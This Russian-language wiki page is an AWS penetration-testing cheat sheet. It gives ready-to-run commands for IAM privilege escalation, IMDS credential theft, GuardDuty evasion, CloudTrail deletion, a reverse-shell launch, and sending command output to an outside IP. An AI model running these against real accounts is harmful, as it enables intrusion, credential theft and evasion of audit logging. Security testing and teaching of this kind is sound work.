Aws — различия между версиями
Drakylar (обсуждение | вклад) м (→GuardDuty) |
Drakylar (обсуждение | вклад) м (→Ссылки) |
||
Строка 1396: | Строка 1396: | ||
== Статьи == | == Статьи == | ||
+ | |||
+ | [https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection] | ||
+ | |||
+ | [https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts] | ||
== Лаборатории == | == Лаборатории == | ||
Строка 1414: | Строка 1418: | ||
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws] | [https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws] | ||
+ | |||
+ | == Книги == | ||
+ | |||
+ | [https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux] |
Версия 18:36, 4 апреля 2022
AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.
Содержание
- 1 Организационные моменты
- 2 Общие концепции
- 3 Ролевая модель
- 4 Службы
- 4.1 IAM
- 4.1.1 Роли - повышение привилегий
- 4.1.2 Роли - повышение до админа
- 4.1.2.1 iam:AddUserToGroup
- 4.1.2.2 iam:PutUserPolicy
- 4.1.2.3 iam:CreateLoginProfile
- 4.1.2.4 iam:UpdateLoginProfile
- 4.1.2.5 iam:AttachGroupPolicy
- 4.1.2.6 iam:AttachRolePolicy
- 4.1.2.7 iam:CreatePolicy
- 4.1.2.8 iam:AddUserToGroup
- 4.1.2.9 iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
- 4.1.2.10 iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
- 4.2 GuardDuty
- 4.3 STS (Security Token Service)
- 4.4 KMS (Key Management Service)
- 4.5 CloudHSM (Hardware Security Module)
- 4.6 Athena
- 4.7 EBS (Elastic Block Store)
- 4.8 Lambda
- 4.9 Glue
- 4.10 S3
- 4.11 CloudFront
- 4.12 EC2 (Elastic Compute Cloud)
- 4.12.1 Роли - повышение привилегий
- 4.12.2 Роли - повышение до админа
- 4.12.3 Роли - управление
- 4.12.3.1 ec2:CreateVolume + ec2:AttachVolume
- 4.12.3.2 ec2:DescribeSnapshots
- 4.12.3.3 ec2:CreateVolume
- 4.12.3.4 ec2:* (Копирование EC2)
- 4.12.3.5 ec2-instance-connect:SendSSHPublicKey
- 4.12.3.6 ec2-instance-connect:SendSerialConsoleSSHPublicKey
- 4.12.3.7 ssm:SendCommand
- 4.12.3.8 EC2:CreateSnapshot + Active Directory
- 4.13 AD (Directory Service)
- 4.14 CloudTrail
- 4.15 DynamoDB
- 4.16 ES (ElasticSearch)
- 4.17 ELB (Elastic Load Balancing)
- 4.18 RDS (Relational Database Service)
- 4.19 Route 53
- 4.20 API Gateway
- 4.21 CloudSearch
- 4.22 Transfer Family
- 4.23 IoT (Internet Of Things)
- 4.24 MQ
- 4.25 MSK (Managed Streaming for Apache Kafka)
- 4.26 Cloud9
- 4.27 MediaStore
- 4.28 Kinesis Video Streams
- 4.29 Elemental MediaConvert
- 4.30 Elemental MediaPackage
- 4.31 ECR (Elastic Container Registry)
- 4.1 IAM
- 5 Утилиты
- 6 Ссылки
Организационные моменты
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/
Общие концепции
Службы
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.
Это экосистема многих сервисов. И AWS стремится увеличить их количество.
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.
Регионы
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.
Название региона | Endpoint(HTTPS) |
us-east-2 | rds.us-east-2.amazonaws.com
rds-fips.us-east-2.api.aws rds.us-east-2.api.aws rds-fips.us-east-2.amazonaws.com |
us-east-1 | rds.us-east-1.amazonaws.com
rds-fips.us-east-1.api.aws rds-fips.us-east-1.amazonaws.com rds.us-east-1.api.aws |
us-west-1 | rds.us-west-1.amazonaws.com
rds.us-west-1.api.aws rds-fips.us-west-1.amazonaws.com rds-fips.us-west-1.api.aws |
us-west-2 | rds.us-west-2.amazonaws.com
rds-fips.us-west-2.amazonaws.com rds.us-west-2.api.aws rds-fips.us-west-2.api.aws |
af-south-1 | rds.af-south-1.amazonaws.com
rds.af-south-1.api.aws |
ap-east-1 | rds.ap-east-1.amazonaws.com
rds.ap-east-1.api.aws |
ap-southeast-3 | rds.ap-southeast-3.amazonaws.com |
ap-south-1 | rds.ap-south-1.amazonaws.com
rds.ap-south-1.api.aws |
ap-northeast-3 | rds.ap-northeast-3.amazonaws.com
rds.ap-northeast-3.api.aws |
ap-northeast-2 | rds.ap-northeast-2.amazonaws.com
rds.ap-northeast-2.api.aws |
ap-southeast-1 | rds.ap-southeast-1.amazonaws.com
rds.ap-southeast-1.api.aws |
ap-southeast-2 | rds.ap-southeast-2.amazonaws.com
rds.ap-southeast-2.api.aws |
ap-northeast-1 | rds.ap-northeast-1.amazonaws.com
rds.ap-northeast-1.api.aws |
ca-central-1 | rds.ca-central-1.amazonaws.com
rds.ca-central-1.api.aws rds-fips.ca-central-1.api.aws rds-fips.ca-central-1.amazonaws.com |
eu-central-1 | rds.eu-central-1.amazonaws.com
rds.eu-central-1.api.aws |
eu-west-1 | rds.eu-west-1.amazonaws.com
rds.eu-west-1.api.aws |
eu-west-2 | rds.eu-west-2.amazonaws.com
rds.eu-west-2.api.aws |
eu-south-1 | rds.eu-south-1.amazonaws.com
rds.eu-south-1.api.aws |
eu-west-3 | rds.eu-west-3.amazonaws.com
rds.eu-west-3.api.aws |
eu-north-1 | rds.eu-north-1.amazonaws.com
rds.eu-north-1.api.aws |
me-south-1 | rds.me-south-1.amazonaws.com
rds.me-south-1.api.aws |
sa-east-1 | rds.sa-east-1.amazonaws.com
rds.sa-east-1.api.aws |
us-gov-east-1 | rds.us-gov-east-1.amazonaws.com |
us-gov-west-1 | rds.us-gov-west-1.amazonaws.com |
Или только регионы (могут пригодиться при переборе):
us-east-2
us-east-1
us-west-1
us-west-2
af-south-1
ap-east-1
ap-southeast-3
ap-south-1
ap-northeast-3
ap-northeast-2
ap-southeast-1
ap-southeast-2
ap-northeast-1
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-south-1
eu-west-3
eu-north-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1
Доступы
Консольная утилита(awscli)
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.
Утилита работает с настроенными профилями.
Файлы
~/.aws/credentials
Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.
У каждого профиля будет указан:
- Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..."
- Access Key - 40 случайных символов различного регистра.
- Access Token - не всегда указывается
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings
Пример содержимого файла (сохранен профиль default):
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk
~/.aws/config
Файл с региональными настройками профиля(регион по-умолчанию).
[default]
region=us-west-2
output=json
~/.aws/cli/cache
Закешированные учетные данные
~/.aws/sso/cache
Закешированные данные Single-Sign-On
Команды
Общее построение команды выглядит как:
aws <название_сервиса> <действие> <дополнительные_аргументы>
Примеры:
# Вывести все S3-хранилища.
aws s3 ls
# Создание нового пользователя - сервис IAM
aws iam create-user --user-name aws-admin2
IMDS (Instance Metadata Service)
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.
Есть 2 версии:
- IMDSv1 - версия 1 по-умолчанию, не требует токен.
- IMDSv2 - версия 2, для запросов требуется токен.
Запрос без токена:
curl http://169.254.169.254/latest/meta-data/
Запрос с токеном:
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):
# В начале делаем запрос на директорию /security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Потом выбираем нужный аккаунт и делаем запрос на него
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account
Пример ответа:
{
"Code" : "Success",
"LastUpdated" : "2019-12-03T07:15:34Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "xxxxxxxxxxxxxxxxxxx",
"SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx",
"Token" : "xxxxxxxxxxxxxxxxxxxxx",
"Expiration" : "2019-12-03T13:50:22Z"
}
После чего эти учетные данные можно использовать с awscli.
Другие полезные Endpoint'ы:
http://169.254.169.254/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
Ролевая модель
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:
- trust policy - определяет, чья будет роль
- permissions policy - определяет какой доступ будет у тех, у кого эта роль.
Каждая политика состоит из следующих компонентов:
- Ресурс - цель, кому выдается правило. Может быть:
- Пользователь
- Группа, в которой могут быть аккаунты по какому то признаку
- Другая политика.
- Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
- Тип правила(Effect) - разрешение или запрет.
- Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
- Условия(Condition) - отдельные условия, например, ip.
Пример политики:
{
"Version": "2012-10-17", //Версия политики
"Statement": [
{
"Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор
"Effect": "Allow", //Разрешить или запретить
"Action": [ //Разрешенные/Запрещенные действия
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //На какие ресурсы можно/нельзя совершать действия
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Опционально - условия срабатывания
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
Определение ролей
Вручную
TODO команды по определению своих ролей
Автоматизированно
Эксплуатация
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.
Административный доступ
Как выглядит роль с административным доступом:
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": "*"
}
]
Службы
IAM
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.
Роли - повышение привилегий
iam:UpdateLoginProfile
Сбросить пароль у других пользователей:
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required
iam:PassRole + ec2:RunInstance
См. EC2
iam:PassRole + glue:CreateDevEndpoint
См. Glue
Роли - повышение до админа
iam:AddUserToGroup
Добавить юзера в административную группу:
aws iam add-user-to-group --group-name <название_группы> --user-name <логин>
iam:PutUserPolicy
Право добавить своб политику к ранее скомпрометированным обьектам.
aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json
iam:CreateLoginProfile
Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required
iam:UpdateLoginProfile
Добавить существующую политику к любому пользователю.
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachGroupPolicy
Добавить существующую политику к любой группе.
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachRolePolicy
Добавить существующую политику к любой роли.
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:CreatePolicy
Создать административную политику.
iam:AddUserToGroup
Добавить пользователя в группу администраторов:
aws iam add-user-to-group --group-name target_group --user-name my_username
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.
# Создание политики
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
# Установка политики по умолчанию.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
См. EC2
GuardDuty
Сервис для детектирования атак используя машинное обучение.
Для детекта использует следующие сервисы:
- CloudTrail
- VPC Flow Logs
- DNS Logs
- ...to be continued
Обход защиты
Далее идут правила детекта и то, как их можно обойти.
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы. Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.
Может быть для этого выгодно держать проксирующий сервер EC2.
UserAgent rules
Суть в том, что GuardDuty будет добавлять Alert если используется UserAgent например Kali. Варианты:
- Использовать утилиту pacu (уже есть смена User-Agent)
- Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.
Роли
STS (Security Token Service)
Сервис, позволяющий запросить временные учетные данные с ограниченными примилегиями для IAM-пользователей
KMS (Key Management Service)
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.
Администраторы амазона не смогут получить к ним доступ.
Ключи со временем обновляются:
- Customers keys - раз в 365 дней
- AWS keys - раз в 3 года.
Старые ключи также можно будет использовать для расшифровки.
CloudHSM (Hardware Security Module)
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению.
Пишут, что устройство будет закреплено только за вами.
Также можно получить доступ к CloudHSM-Instance по SSH.
Athena
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.
EBS (Elastic Block Store)
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).
Роли - управление сервисом
ec2:CreateVolume + ec2:AttachVolume
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.
# Создание Volume из snapshot'а (если требуется подключить snapshot)
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
# Подключение Volume к виртуалке EC2
Далее идем на виртуалку и вводим команды:
# Поиск Volume
lsblk
# Проверка есть ли на нем данные
sudo file -s /dev/xvdf
# форматировать образ под ext4 (если неподходящая файловая система)
sudo mkfs -t ext4 /dev/xvdf
# Создаем директорию куда примонтируем позже
sudo mkdir /tmp/newvolume
# Монтируем
sudo mount /dev/xvdf /tmp/newvolume/
Диск будет доступен на /tmp/newvolume.
Lambda
Сервис для запуска своего кода в облаке.
Роли - повышение привилегий
lambda:UpdateFunctionCode
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip
lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.
Код функции:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
Команды для запуска:
# Создание функции
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
# Запуск
aws lambda invoke --function-name my_function output.txt
Роли - управление
lambda:GetFunction
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):
# Получить список функций
aws lambda list-functions --profile uploadcreds
# Получить информацию о Lambda-функции
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
# Скачать исходный код по ссылке из предыдущего ответа
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
Glue
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.
Роли - повышение привилегий
glue:UpdateDevEndpoint
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:
# TODO: это не обновление параметров, надо обновить команду
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub
glue:CreateDevEndpoint + iam:PassRole
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub
S3
Файловое хранилище, доступное по http(s).
Формат ссылки:
https://{bucket_name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket_name}/
# US Standard
http://s3.amazonaws.com
# Ireland
http://s3-eu-west-1.amazonaws.com
# Northern California
http://s3-us-west-1.amazonaws.com
# Singapore
http://s3-ap-southeast-1.amazonaws.com
# Tokyo
http://s3-ap-northeast-1.amazonaws.com
Делать запросы можно:
- В браузере - http(s)
- Используя awscli:
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
В S3 может использоваться шифрование:
- SSE-KMS - Server-Side с ключами KMS
- SSE-C - Server-Side с ключами заказчика
- CSE-KMS - Client-Side с ключами KMS
- CSE-C - Client-Side с ключами заказчика
Сбор информации
Определение региона
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com
# Итоговый URL будет:
flaws.cloud.s3-website-us-west-2.amazonaws.com
flaws.cloud.s3-us-west-2.amazonaws.com
Если будет некорректный регион - редиректнет на корректный.
Список файлов
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).
Роли - управление
s3:ListBucket
Посмотреть список файлов в S3-хранилище:
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
s3:ListAllMyBuckets
Посмотреть список всех S3-хранилищ, доступных мне:
aws s3api list-buckets
aws s3 ls
CloudFront
Сервис сети доставки контента (CDN).
Формат ссылки:
https://{random_id}.cloudfront.net
EC2 (Elastic Compute Cloud)
EC2 (Amazon Elastic Compute Cloud) == VPS
Состоит из:
- Instance - название виртуальной машины
- AMI (Amazon Machine Image) - образ виртуальной машины
- SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.
Формат ссылки:
ec2-{ip-seperated}.compute-1.amazonaws.com
Роли - повышение привилегий
ec2:RunInstance + iam:PassRole
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.
1. Запуск машины c новой прикрепленной ролью
2. Подключение к ней
3. Работа с прикрепленной ролью
Создание EC2 с известным SSH-ключем:
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456
Второй вариант - скрипт для запуска:
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.
Роли - повышение до админа
ec2:AssociateIamInstanceProfile
Позволяет менять IAM политики/роли/пользователей
ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.
Роли - управление
ec2:CreateVolume + ec2:AttachVolume
См. EBS.
ec2:DescribeSnapshots
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:
aws ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2
ec2:CreateVolume
Прзврояет примаунтить SnapShot, чтобы потом его изучить:
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
ec2:* (Копирование EC2)
Позволяет скопировать EC2 используя AMI-images:
# Создаем новый AMI из Instance-ID
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# Добавляем наш ключ в систему
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же)
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# Проверяем запустился ли инстанс
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# Не обязательно - редактируем группу инстанса
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# В конце работы - останавливаем и удаляем инстанс
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
ec2-instance-connect:SendSSHPublicKey
Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.
# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.
# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1
# Подключаемся (кроме GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws
# Подключаемся (только для GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)
sudo systemctl restart serial-getty@ttyS0
# Если не сработало - мб требуется ребутать сервер.
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html
ssm:SendCommand
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:
- Знать Instance-ID, на котором запущен сервис SSM
- Свой сервер, на который будет приходить отстук - результат команды.
Команды для эксплуатации:
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
aws ssm describe-instance-information --profile stolencreds --region eu-west-1
# Выполняем команду
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
# Пример - результат команды на удаленный сервер
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
EC2:CreateSnapshot + Active Directory
См. AD.
AD (Directory Service)
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.
Основные понятия:
- EC2-Instance - VPS на которых крутится весь Active Directory
Роли - повышение привилегий
EC2:CreateSnapshot + EC2:RunInstance -> ShadowCopy
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.
Последовательность атаки:
1. Получаем список инстансов
2. Создаем Snapshot выбранного сервера
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего.
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission --operation-type remove --user-ids 123456789012
4. Переключаемся на аккаунт атакующего
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot
6. Подключаемся по SSH и получаем данные из SnapShot
sudo -s
mkdir /tmp/windows
mount /dev/xvdf1 /tmp/windows/
cd /tmp/windows/
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user
chown ec2-user:ec2-user /home/ec2-user/*
# Sftp - скачиваем файлы:
/home/ec2-user/SYSTEM
/home/ec2-user/ntds.dit
# Получаем учетные данные, используя Impacket-secretsdump
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets
CloudTrail
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.
Записывает:
- API-вызовы
- Логины в систему
- События сервисов
- ???
Важен при операциях RedTeam.
Название файла логов:
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat
S3 путь до логов:
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD
Путь у CloudTrail-Digest файлов:
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz
Основные поля у событий:
- eventName - имя API-endpoint
- eventSource - вызванный сервис
- eventTime - время события
- SourceIPAddress - ip-адрес источника
- userAgent - метод запроса
- "signing.amazonaws.com" - запрос от AWS Management Console
- "console.amazonaws.com" - запрос от root-пользователя аккаунта
- "lambda.amazonaws.com" - запрос от AWS Lambda
- requestParameters - параметры запроса
- responseElements - элементы ответа.
Временные параметры:
- 5 минут - сохраняется новый лог-файл
- 15 минут - сохраняется в S3.
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.
Роли - управление
cloudtrail:DeleteTrail
Позволяет отключить мониторинг:
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
cloudtrail:UpdateTrail
Права на редактирование правил монитринга.
Отключить мониторинг глобальных сервисов:
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
Отключить мониторинг на конкретные регионы:
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
validate-logs
Проверить, были ли изменены логи.
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
Эксплуатация
Обход правила по UserAgent
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.
